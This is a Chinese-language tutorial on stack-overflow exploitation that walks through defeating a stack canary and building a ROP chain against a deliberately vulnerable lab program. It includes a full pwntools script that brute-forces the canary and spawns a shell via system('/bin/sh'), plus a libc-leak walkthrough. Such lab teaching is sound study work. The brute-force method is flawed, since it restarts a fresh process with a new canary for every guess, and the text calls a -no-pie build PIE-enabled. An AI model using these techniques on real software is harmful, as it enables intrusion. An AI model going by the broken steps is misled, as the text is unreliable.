栈溢出攻防实战:绕过Canary保护与ROP链构造详解

📅 2026/7/27 14:39:49
栈溢出攻防实战:绕过Canary保护与ROP链构造详解
1. 项目概述当栈保护遇上攻击者在二进制安全的世界里攻防对抗就像一场永不停歇的猫鼠游戏。防御方不断加固城池攻击者则绞尽脑汁寻找城墙的裂缝。栈金丝雀这个听起来有些诗意的名字就是现代编译器如GCC、Clang为程序栈筑起的一道经典防线它的学名是Stack Canary。而ROP链则是攻击者在面对重重防御时演化出的一种精妙攻击技术全称是Return-Oriented Programming。这个标题所指向的正是一次完整的实战演练如何发现并绕过Canary这道防线并最终利用ROP技术夺取程序的控制权。我会用一个具体的漏洞程序作为靶子带你走完从分析、爆破到利用的全过程并附上可以直接拿来用的Python脚本。简单来说Canary就像古代矿工带入矿井的金丝雀用于预警危险。在函数开始时一个随机值被放在栈上返回地址的前面函数结束前会检查这个值是否被改变。如果被改变了说明栈可能发生了溢出程序会立刻崩溃从而阻止攻击。而ROP则是一种“借力打力”的高级技巧。攻击者不再注入自己的代码而是从程序本身和其链接的库中寻找一系列以ret指令结尾的短指令序列称为gadget将它们像链条一样拼接起来最终达到执行任意命令的目的。这次我们的目标就是先“毒死”金丝雀再精心编织一条ROP链完成利用。2. 核心原理深度拆解Canary与ROP的攻防本质2.1 栈金丝雀Stack Canary的工作原理与实现要绕过它必须先彻底理解它。Canary的实现并非魔法而是编译器在编译时插入的额外代码。我们以一个简单的C函数为例void vulnerable_function(char *input) { char buffer[64]; strcpy(buffer, input); // 明显的栈溢出漏洞 }在开启Canary保护-fstack-protector或-fstack-protector-all编译后实际的函数序言prologue和尾声epilogue会变成这样函数序言从特定的存储区域如fs:0x28这是一个线程局部存储位置旨在提高随机性加载一个随机值这就是Canary。将这个Canary值压入栈中通常位于栈帧的底部紧邻着保存的基指针ebp和返回地址。函数尾声在准备返回前从栈上取出之前存放的Canary值。将其与最初存储在fs:0x28处的原始值进行比较。如果两者一致程序正常执行ret指令返回。如果两者不一致说明从Canary到返回地址之间的栈空间很可能包括返回地址本身被溢出的数据修改了此时会触发__stack_chk_fail函数打印错误信息并立即终止程序。注意Canary的值通常是随机的并且其最低位字节往往是\x00空字节。这个设计很巧妙因为许多字符串操作函数如strcpy遇到空字节会停止复制这增加了通过字符串溢出直接覆盖Canary的难度。2.2 ROP链的构造哲学与数据执行保护DEP随着操作系统引入了数据执行保护DEP或NXNo-eXecute位传统的将shellcode注入栈上并跳转执行的方法失效了因为栈被标记为“不可执行”。ROP技术应运而生它完美规避了DEP。ROP的核心思想是“代码复用”。我们不再需要注入新代码只需要复用程序中已有的、以ret或pop; ret等结尾的指令片段。这些片段被称为gadget。每个gadget完成一个很小的操作例如将某个值弹出到寄存器中。通过精心布局栈上的数据控制程序流依次执行这些gadget就能像编程一样组合出复杂的逻辑比如调用系统函数system(“/bin/sh”)。一个最简单的ROP链可能长这样[pop rdi; ret的地址] [指向”/bin/sh”字符串的指针] [system函数的地址]。当函数返回时它会跳转到pop rdi; ret这个gadget该gadget将栈顶的下一个值”/bin/sh”的地址弹出到rdi寄存器64位Linux下第一个参数寄存器然后ret到栈顶的下一个地址也就是system函数从而执行system(“/bin/sh”)。3. 实战环境搭建与目标分析3.1 实验环境配置为了完全复现这个过程你需要一个Linux环境。我使用的是Ubuntu 20.04但任何主流发行版都可以。关键工具如下编译器gcc用于编译我们的靶程序。调试器gdb必不可少的分析工具。强烈建议安装增强插件pwndbg或gef它们能极大提升逆向和漏洞利用的效率比如自动显示栈布局、寄存器、反汇编和内存内容。Python环境需要python3以及pwntools库。pwntools是漏洞利用开发的瑞士军刀能简化socket通信、进程交互、打包数据等操作。# 安装pwntools pip3 install pwntools检查保护使用checksec命令通常包含在pwntools中来查看目标程序的保护机制。checksec ./vuln_program3.2 漏洞程序源码与编译我们编写一个经典的、存在栈溢出漏洞的程序并开启Canary和NX保护模拟真实的有保护程序。// vuln.c #include stdio.h #include string.h #include unistd.h void win() { // 我们的目标函数成功利用后会执行 system(/bin/sh); } void vulnerable() { char buffer[64]; printf(Canary 保护已开启你能拿到shell吗\n); printf(输入你的攻击载荷: ); fflush(stdout); // 危险函数没有长度限制 read(STDIN_FILENO, buffer, 256); // 允许读入256字节远超buffer的64字节 } int main() { vulnerable(); return 0; }使用以下命令编译开启所有常见的保护Canary, NX, PIE等gcc -o vuln vuln.c -fstack-protector-all -no-pie -z noexecstack # -fstack-protector-all: 对所有函数启用栈保护 # -no-pie: 禁用地址空间随机化PIE让ROP更容易后续再挑战PIE # -z noexecstack: 其实这是默认的确保栈不可执行NX用checksec检查一下Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)可以看到Stack: Canary found和NX: NX enabled正是我们想要挑战的保护。4. 信息收集与Canary泄露4.1 确定溢出偏移与Canary位置首先我们需要知道从我们输入的缓冲区开始需要多少字节才能覆盖到Canary和返回地址。我们可以使用pwntools的cyclic模式字符串来辅助定位。在gdb-pwndbg中运行程序并输入一个很长的、不重复的模式字符串比如150个字节from pwn import * cyclic(150)将生成的字符串作为输入。程序会因为Canary被破坏而崩溃。查看崩溃时RIP指令指针的值它是一个无效地址。使用cyclic_find这个值就能算出精确的偏移。更系统的方法是分析栈布局。在vulnerable函数入口处下断点查看栈帧。pwndbg disass vulnerable ... 查看汇编找到buffer的起始地址通常是 rbp-0x40 对于64字节buffer pwndbg x/30gx $rsp通过计算$rbp - buffer_addr得到buffer大小再考虑栈上保存的rbp和Canary的位置。对于64位程序典型的布局是[buffer...][Canary][Saved RBP][Return Address]。假设buffer是64字节那么Canary就在buffer64的位置返回地址在buffer648Canary占8字节的位置。所以覆盖返回地址的偏移量是72。4.2 利用格式化字符串或读操作泄露CanaryCanary是随机的但我们有机会读到它。如果程序有格式化字符串漏洞我们可以直接打印栈上的内容。更常见的情况是程序像我们的例子一样有一次read输入的机会。我们可以利用它进行部分覆盖。关键思路Canary的最低字节通常是\x00。如果我们用\x00字节去覆盖它程序检查时可能不会报错因为比较的是完整的8字节我们只覆盖了最低位。但更重要的是我们可以利用程序的其他输出功能比如printf打印buffer如果buffer和Canary之间没有空字节printf会一直打印直到遇到Canary的\x00字节为止这样我们就间接读到了Canary的值。在我们的例子中read之后没有直接输出所以需要换个思路。更通用的方法是暴力逐字节爆破Brute-Force。因为Canary在进程生命周期内是保持不变的对于该线程。我们可以通过多次连接尝试逐个字节地猜测Canary。爆破原理从最低位字节LSB开始猜因为最高位字节可能也是\x00。发送填充数据[覆盖buffer的padding] [已猜出的Canary部分] [猜测的下一字节]。如果程序正常返回没有触发stack_chk_fail崩溃说明这一字节猜对了。重复步骤2-3直到猜出完整的8字节Canary通常遇到\x00字节时read可能会提前终止需要特殊处理比如用send而非sendafter。5. Python自动化爆破脚本详解下面是我编写的自动化爆破脚本。它连接目标程序可以是本地进程也可以是远程服务逐字节爆破出Canary然后计算偏移最后构造ROP链。#!/usr/bin/env python3 from pwn import * # 设置目标 context.binary ./vuln # 自动获取二进制信息如地址 context.log_level debug # 显示详细的通信过程调试时非常有用 # 偏移计算需提前通过cyclic等方法确定 buffer_size 64 offset_to_canary buffer_size # Canary紧接在buffer之后 offset_to_ret offset_to_canary 8 # 返回地址在Canary之后 # 用于存储猜出的Canary字节 canary b # 假设我们不知道Canary的任何字节从0x00到0xff逐个尝试 # 注意Canary通常以\x00结尾但爆破时我们从第一个非\x00字节开始猜遇到\x00时特殊处理。 def brute_force_canary(): global canary for byte_index in range(8): # Canary 通常是 8 字节 (64位) for guess in range(256): # 尝试 0x00 到 0xff # 1. 每次尝试都需要重新启动进程或建立新连接 # 本地进程模式 io process(./vuln) # 如果是远程用io remote(靶机IP, 端口) # 2. 构造载荷填充buffer 已猜出的canary部分 当前猜测的字节 payload bA * offset_to_canary payload canary payload bytes([guess]) # 当前猜测的字节 # 3. 发送载荷 io.send(payload) # 4. 判断结果 # 如果程序因为Canary错误而崩溃我们会收到SIGABRT信号进程会异常退出。 # io.recvall(timeout0.5)尝试接收所有输出如果进程崩溃这里会抛出异常或返回空。 try: response io.recvall(timeout0.5) # 如果程序没有崩溃猜对了它可能会正常输出一些内容或等待 # 在我们的vuln程序中如果没崩溃它会从vulnerable函数返回到main然后main返回程序正常退出。 # 我们可以通过检查进程是否正常退出来判断exit code为0。 io.wait_for_close(timeout0.5) if io.poll() 0: # 正常退出说明Canary字节猜对了 log.success(fByte {byte_index} found: {hex(guess)}) canary bytes([guess]) io.close() break # 跳出内层循环猜下一个字节 else: io.close() except Exception as e: # 接收超时或进程异常说明猜错了 io.close() continue # 如果循环完256次都没break说明这个字节可能是\x00 # 实际上Canary的最低字节经常是\x00而read遇到\x00不会停止因为它是读二进制数据但字符串函数会。 # 我们需要特殊处理\x00。如果guess为0时程序也没崩溃那这个字节就是\x00。 # 简化处理如果guess255了还没找到假设是\x00但这不是绝对可靠的最好结合调试。 else: # 内层循环正常结束未break我们假设这个字节是\x00 log.info(fByte {byte_index} likely to be \\x00) canary b\x00 # 注意当canary包含\x00后后续的payload构造需要用send()而非sendline()或sendafter()避免\x00被截断。 log.success(fFull canary leaked: {canary.hex()}) return canary # 爆破Canary leaked_canary brute_force_canary() # 现在有了Canary我们可以构造绕过Canary的ROP载荷了 # 首先需要找到ROP gadget和目标的地址 # 使用pwntools的ROP功能自动查找需要ELF对象 elf ELF(./vuln) rop ROP(elf) # 寻找 pop rdi; ret 的gadget (用于传递第一个参数) pop_rdi_addr rop.find_gadget([pop rdi, ret])[0] log.info(fpop rdi; ret gadget {hex(pop_rdi_addr)}) # 找到 win 函数的地址 (我们的目标是执行system(/bin/sh)) win_addr elf.symbols[win] # 因为编译时用了 -no-pie地址是固定的 log.info(fwin function {hex(win_addr)}) # 构造最终的ROP链 payload bA * offset_to_canary # 填充到Canary payload leaked_canary # 正确的Canary值绕过检查 payload bB * 8 # 覆盖保存的RBP可以是任意值 payload p64(pop_rdi_addr) # gadget地址: pop rdi; ret # 注意system需要字符串参数。我们需要一个指向/bin/sh的指针。 # 方法1如果二进制中有这个字符串。可以用 next(elf.search(b/bin/sh)) 查找。 # 方法2如果程序中有gets或read等函数可以写到已知地址如.bss段。 # 这里为了简单假设win函数内部已经调用了system(/bin/sh)所以我们不需要传递参数。 # 但实际上我们的win函数就是直接调用了system。在64位下rdi需要指向/bin/sh字符串。 # 让我们先查找字符串。 bin_sh_addr next(elf.search(b/bin/sh)) if bin_sh_addr: log.info(f/bin/sh string {hex(bin_sh_addr)}) payload p64(bin_sh_addr) # pop rdi 会把这个弹入rdi else: log.warning(No /bin/sh in binary, need to find another way.) # 可能需要构造更复杂的ROP链来调用read写入字符串这里暂不展开。 exit() payload p64(win_addr) # 返回到win函数 (或 systemplt) # 发送最终载荷 io process(./vuln) io.send(payload) # 如果成功我们将获得一个shell io.interactive()脚本关键点解析与避坑指南连接管理每次猜测字节都必须重新建立连接process()或remote()因为Canary检查失败会导致进程崩溃状态无法复用。结果判断判断猜测是否成功是爆破脚本的核心。示例中通过io.poll()检查进程退出码。更稳健的方法是捕获程序崩溃信号如SIGABRTpwntools的io.recvall()在崩溃时会抛出异常或提前返回可以据此判断。\x00字节处理Canary常以\x00结尾。当read遇到\x00时它不会停止因为read是二进制读但如果你用sendline会加换行符或依赖字符串函数\x00会被视为字符串终止符。因此在构造包含\x00的payload时应使用io.send()。性能优化暴力破解256*82048次在最坏情况下是可行的尤其是对于本地或网络延迟低的题目。可以结合已知信息如Canary可能来自fs:0x28通常高位也是随机的优化但通用脚本保持简单暴力即可。ROP链构造示例中假设二进制中存在/bin/sh字符串和pop rdi; retgadget。实际情况可能更复杂需要你使用ROPgadget、ropper等工具手动查找或使用pwntools的ROP类自动构建。6. 高级技巧与疑难问题排查6.1 当PIE地址空间随机化开启时如果编译时加了-pie参数checksec会显示PIE enabled。这意味着代码段包括win函数、gadget的地址在每次运行时都会变化但偏移是固定的。我们需要先泄露一个代码段内的地址比如通过GOT表泄露libc函数地址或直接泄露某个函数的返回地址然后计算出基址再推算出其他所有地址。泄露思路利用栈溢出或格式化字符串漏洞打印出栈上某个指向代码段的指针例如main的返回地址或某个库函数的GOT表项。然后目标地址 泄露地址 - 已知偏移。6.2 当Canary爆破时间过长或不可行时如果连接不稳定或程序有连接限制逐字节爆破可能太慢。此时可以寻找其他信息泄露点格式化字符串漏洞直接%p打印栈上值可能包含Canary。堆漏洞与栈迁移如果存在堆溢出或UAF可能通过劫持函数指针或利用FILE结构体如_IO_2_1_stdout_来泄露信息甚至结合house of系列攻击。侧信道攻击通过分析程序崩溃/不崩溃的时间差时序攻击来推断Canary但这要求非常精细的控制。6.3 ROP链构造失败常见原因栈对齐问题在64位系统调用或某些libc函数调用前要求栈指针rsp按16字节对齐。如果直接跳转到函数ret指令会使得rsp增加8可能导致不对齐而崩溃。解决方法是在ROP链中插入一个只包含ret指令的gadget来调整栈对齐。gadget地址错误确保你找到的gadget地址是正确的并且考虑了PIE。用调试器单步跟踪ROP链执行是最可靠的验证方法。参数传递错误确认调用约定64位Linuxrdi, rsi, rdx, rcx, r8, r9然后才是栈。使用pop系列的gadget正确设置寄存器。字符串地址问题确保传递给system的字符串指针是有效的、可读的内存地址。通常需要将/bin/sh写入已知的、可写的内存区域如.bss段。6.4 利用脚本调试技巧本地调试在脚本开头使用context.terminal [tmux, splitw, -h]然后在启动进程时使用gdb.attach(io)可以自动打开gdb附加调试直观观察每一步栈的变化和寄存器状态。分段测试不要一次性写完整个利用脚本。先单独测试Canary爆破部分确认能稳定泄露。再单独测试ROP链部分可以临时修改程序关闭Canary或硬编码泄露的Canary。善用pwntools的cyclic和corefile当程序崩溃生成core dump时使用cyclic_find(corefile.rip)可以快速定位覆盖返回地址的偏移。7. 从理论到实践一个完整的利用案例复盘让我们串联起所有步骤对一个假设的、但更贴近CTF赛题的场景进行一次复盘。假设目标程序pwnme有以下特点开启Canary、NX、Partial RELRO。有一个echo功能存在栈溢出漏洞。有一个show功能可以输出上一次输入的内容存在信息泄露。没有system和/bin/sh需要泄露libc地址后计算。利用步骤信息收集用checksec确认保护。用objdump或gdb查看函数找到echo和show。偏移计算用cyclic模式字符串攻击echo功能在gdb中计算出到返回地址的偏移为72Canary在偏移64处。泄露Canary利用show功能。因为show会打印buffer而buffer与Canary相邻。我们可以先通过echo输入64个A然后调用show。如果输出多于64个字节多出来的部分就是Canary的一部分因为字符串打印遇到Canary的\x00字节才停止。通过多次尝试可以拼出完整的Canary。泄露libc地址有了Canary我们可以安全地溢出到返回地址。我们将返回地址覆盖为printfplt并设置参数为printfgot的地址这样程序就会打印出printf在内存中的真实地址。同时要精心构造栈布局让程序在打印后能正常返回到main或其它地方以便进行第二次攻击这称为ROP链的栈平衡。计算libc基址根据泄露的printf地址减去libc中printf的偏移需要知道目标服务器的libc版本得到libc的基地址。进而计算出system和字符串/bin/sh的地址。最终攻击再次利用echo的溢出漏洞。这次我们放入正确的Canary然后构造最终的ROP链pop rdi; retgadget的地址 “/bin/sh”地址 system函数地址。发送payload获得shell。这个过程将栈溢出、信息泄露、Canary绕过、ROP链构造融为一体是现代pwn题的典型解法。它要求攻击者不仅会写漏洞利用代码更要理解程序的状态、内存的布局和操作系统的机制。绕过Canary和构造ROP链是现代二进制漏洞利用的基石技能。它没有一成不变的公式每一次挑战都是对程序逻辑、内存布局和指令流的深入理解。我建议你不仅运行我提供的脚本更尝试修改漏洞程序例如开启PIE去掉/bin/sh字符串然后调整脚本来适应新的挑战。真正的熟练来自于解决一个又一个意料之外的问题。